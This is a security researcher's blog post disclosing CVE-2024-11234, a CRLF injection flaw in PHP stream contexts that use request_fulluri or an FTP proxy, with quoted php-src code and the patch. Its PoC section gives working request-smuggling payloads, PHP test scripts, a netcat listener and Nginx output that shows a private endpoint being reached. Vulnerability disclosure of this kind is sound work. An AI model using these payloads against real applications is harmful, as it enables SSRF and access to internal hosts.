Lorenzo Leonardini's security blog

CVE-2024-11234: Configuring a proxy in a PHP stream context might allow for CRLF injection in URIs 🐘


This blog post expands on a vulnerability I found in PHP, assigned CVE-2024-11234, that in some proxy configurations might lead to HTTP request smuggling attacks when unsanitized user-controlled data is used in stream functions.

Vulnerable PHP versions are:

Overview

PHP offers a wide range of functions to interact with local or remote resources. These resources can be accessed using streams, which can be created using functions like fopen, file, file_get_contents. When creating a stream, we can specify a custom stream context containing a set of parameters to use during the connection.

For example, in the case of HTTP streams, one could specify some special headers to use in the request, or a proxy to use to connect to the remote server.

Stream contexts are created using the stream_context_create function, which accepts an array of pretty well-documented options. Different stream types have different available options.

In particular, both HTTP and FTP streams allow for the proxy option, which specifies the HTTP proxy to use to connect to the remote server.

The HTTP stream also has a request_fulluri option, which is required by some proxies to correctly forward the request. While a normal request to http://example.com/path/to/file?query would results in the following HTTP request:

GET /path/to/file?query HTTP/1.1

when setting request_fulluri to true we obtain:

GET http://example.com/path/to/file?query HTTP/1.1

The vulnerability I found allows an attacker to perform CRLF injection in the request URI when such request_fulluri parameter is enabled, leading to HTTP request smuggling attacks.

The vuln

As I introduced before, in PHP we can create stream contexts to define parameters when accessing resources. What follows is an example of how to create a stream context to access a remote HTTP resource using a proxy:

$opts = [
    'http' => [
        'proxy' => 'tcp://proxy-url:8080',
        'request_fulluri' => true
    ]
];
$context = stream_context_create($opts);
 
$data = file_get_contents("http://example.com", false, $context);
 
// Or
 
$fd = fopen("http://example.com", 'r', false, $context);
$data = fread($fp, 1024);
fclose($fd);

Usually, the following piece of code would be safe:

$path = $_GET['path'];
echo file_get_contents("http://example.com/$path");

Even if a malicious user were to provide a path containing control characters, such as the CRLF characters used to define HTTP request lines, the file_get_contents function would sanitize the input, preventing any kind of attack. However, when using a stream context with request_fulluri set to true, this is no longer true.

Usually, when creating a request, PHP parses the URL to extract the relevant parts, such as the host, path, and query, which all get used to build the HTTP request. During the parsing process, control characters are sanitized to prevent this kind of attack:

php-src/ext/standard/url.c
if (s < e || s == ue) {
    ret->path = zend_string_init(s, (e - s), 0);
    php_replace_controlchars_ex(ZSTR_VAL(ret->path), ZSTR_LEN(ret->path));
}
php-src/ext/standard/url.c
PHPAPI char *php_replace_controlchars_ex(char *str, size_t len)
{
    unsigned char *s = (unsigned char *)str;
    unsigned char *e = (unsigned char *)str + len;
 
    if (!str) {
        return (NULL);
    }
 
    while (s < e) {
 
        if (iscntrl(*s)) {
            *s='_';
        }
        s++;
    }
 
    return (str);
}

When setting request_fulluri to true, though, the request is constructed using the raw URI provided as input, and not the parsed one:

php-src/ext/standard/http_fopen_wrapper.c
if (request_fulluri) {
    /* Ask for everything */
    smart_str_appends(&req_buf, path);
}

This means that, when the request_fulluri context parameter is true, if the resource URI is under the partial control of an attacker, a malicious actor could inject CRLF characters to perform a HTTP request smuggling attack.

Furthermore, if a non-HTTP stream sets a proxy parameter in the context (right now only the FTP context supports this), the request_fulluri parameter gets automatically silently enabled without the developer ever knowing:

php-src/ext/standard/http_fopen_wrapper.c
ZEND_ASSERT(resource->scheme);
if (!zend_string_equals_literal_ci(resource->scheme, "http") &&
    !zend_string_equals_literal_ci(resource->scheme, "https")) {
    if (!context ||
        (tmpzval = php_stream_context_get_option(context, wrapper->wops->label, "proxy")) == NULL ||
        Z_TYPE_P(tmpzval) != IS_STRING ||
        Z_STRLEN_P(tmpzval) == 0) {
        php_url_free(resource);
        return php_stream_open_wrapper_ex(path, mode, REPORT_ERRORS, NULL, context);
    }
    /* Called from a non-http wrapper with http proxying requested (i.e. ftp) */
    request_fulluri = true;
    use_ssl = 0;
    use_proxy = 1;
    transport_string = zend_string_copy(Z_STR_P(tmpzval));
} else {
    /* Normal http request (possibly with proxy) */
 

Notice that, in the case of HTTP streams, setting a value for the proxy parameter is not strictly necessary, as the real issue is in request_fulluri.

PoC

We can test the raw query performed by PHP by simply using netcat in listening mode (nc -lvnp 1337).

When no proxy is configured, we can see that the malicious input is correctly sanitized:

$userinput = " HTTP/1.1\r\nHost: localhost:1337\r\n\r\nGET /admin HTTP/1.1\r\nHost: adminpanel\r\n\r\nGET /";
 
file_get_contents("http://localhost:1337/$userinput");
GET / HTTP/1.1__Host: localhost:1337____GET /admin HTTP/1.1__Host: adminpanel____GET / HTTP/1.1
Host: localhost:1337
Connection: close

But when we use a proxy and set request_fulluri to true, we get request smuggling:

$opts = ['http' => ['proxy' => 'tcp://localhost:1337', 'request_fulluri' => true]];
$context = stream_context_create($opts);
 
$userinput = " HTTP/1.1\r\nHost: localhost:1337\r\n\r\nGET /admin HTTP/1.1\r\nHost: adminpanel\r\n\r\nGET /";
 
file_get_contents("http://localhost:1337/$userinput", false, $context);
GET http://localhost:1337/ HTTP/1.1
Host: localhost:1337
 
GET /admin HTTP/1.1
Host: adminpanel
 
GET / HTTP/1.1
Host: localhost:1337
Connection: close

This also happens with HTTP proxies on FTP, without the request_fulluri parameter:

$opts = ['ftp' => ['proxy' => 'tcp://localhost:1337']];
$context = stream_context_create($opts);
 
$userinput = " HTTP/1.1\r\nHost: localhost:1337\r\n\r\nGET /admin HTTP/1.1\r\nHost: adminpanel\r\n\r\nGET /";
 
file_get_contents("ftp://localhost:1337/$userinput", false, $context);
GET ftp://localhost:1337/ HTTP/1.1
Host: localhost:1337
 
GET /admin HTTP/1.1
Host: adminpanel
 
GET / HTTP/1.1
Host: localhost:1337
Connection: close

We can verify servers would accept these requests by using a simple Nginx example configuration:

server {
    listen 80;
 
    server_name localhost;
 
    location / {
        add_header 'Content-Type' 'text/plain';
        return 200 'Hello, World!';
    }
}
 
server {
    listen 80;
 
    server_name private-endpoint;
 
    location / {
        add_header 'Content-Type' 'text/plain';
        return 200 '=========================\nPrivate location if you read this it is a problem\n=========================\n\n';
    }
}

and the following test script:

$payload = " HTTP/1.1\r\nHost: private-endpoint\r\nConnection: keep-alive\r\n\r\nGET / HTTP/1.1\r\nHost: private-endpoint\r\nConnection: keep-alive\r\n\r\nGET http://localhost/";
 
$context = stream_context_create(['http' => ['request_fulluri' => true]]);
echo file_get_contents("http://localhost/" . $payload, false, $context);

resulting in the following output:

Hello, World!HTTP/1.1 200 OK
Server: nginx/1.27.0
Date: Fri, 22 Nov 2024 18:52:00 GMT
Content-Type: application/octet-stream
Content-Length: 103
Connection: keep-alive
Content-Type: text/plain
 
=========================
Private location if you read this it is a problem
=========================
 
HTTP/1.1 200 OK
Server: nginx/1.27.0
Date: Fri, 22 Nov 2024 18:52:00 GMT
Content-Type: application/octet-stream
Content-Length: 13
Connection: close
Content-Type: text/plain
 
Hello, World!

Notice how we also needed to inject the Connection: keep-alive header in order to prevent Nginx from closing our connection.

Impact

CLRF injection in the URI leads to Server Side Request Forgery attacks (SSRF), which allows an attacker to bypass security controls, access internal endpoints, and, since we control the Host: header, potentially access different hosts or machines.

Crafted requests can use any HTTP method and set any header to any value, including sensitive headers like Authorization, Cookie, Origin, or Referer.

Moreover, as stream functions read everything up until EOF, and don’t follow the Content-Length header, the attacker might be able to read the HTTP response of each of the smuggled request, as we saw in the Nginx example above.

The patch

The vulnerability has been patched by simply checking whether the input URI contains either the \r or \n characters, and if so, returning an error:

php-src/ext/standard/http_fopen_wrapper.c
if (request_fulluri && (strchr(path, '\n') != NULL || strchr(path, '\r') != NULL)) {
    php_stream_wrapper_log_error(wrapper, options, "HTTP wrapper full URI path does not allow CR or LF characters");
    php_url_free(resource);
    zend_string_release(transport_string);
    return NULL;
}

Conclusions

This vulnerability requires a very specific scenario, and is therefore pretty hard to exploit in the wild. However, it is still a very interesting attack vector, and it was a nice introduction to PHP internals and how they can be read to better understand their inner workings.

I would like to greatly thank Marco Squarcina for helping me review my original report.


Bonus: finding this vulnerability

I found this vulnerability while playing a CTF, more specifically one of the rounds from this year’s (2024) OpenECSC competition. I was playing around with the file_get_contents function, and in order to better understand how it generated the HTTP request, I created a stream context to proxy it through netcat.

That’s why, desperately fuzzing the input data of the function, I realized that I could inject CRLF characters in the URI, and that the request was not being sanitized as I expected. This seemed very strange to me, as this wasn’t how I remembered the function to behave. It also created a lot of confusion and frustration, as when I tried to reproduce the issue in a clean environment, I couldn’t get it to work. It was only after a lot of trial and error that I realized the issue was in the stream context, and that the request_fulluri parameter was the culprit.

A lot of frustration also occurred when I tried to play a bit more with this, using the Burp proxy: Burp, by default, silently overrides the Connection header to close, making servers close the connection and blocking the smuggling attack. This initially led me to believe no server would accept my requests, until I realized what was happening.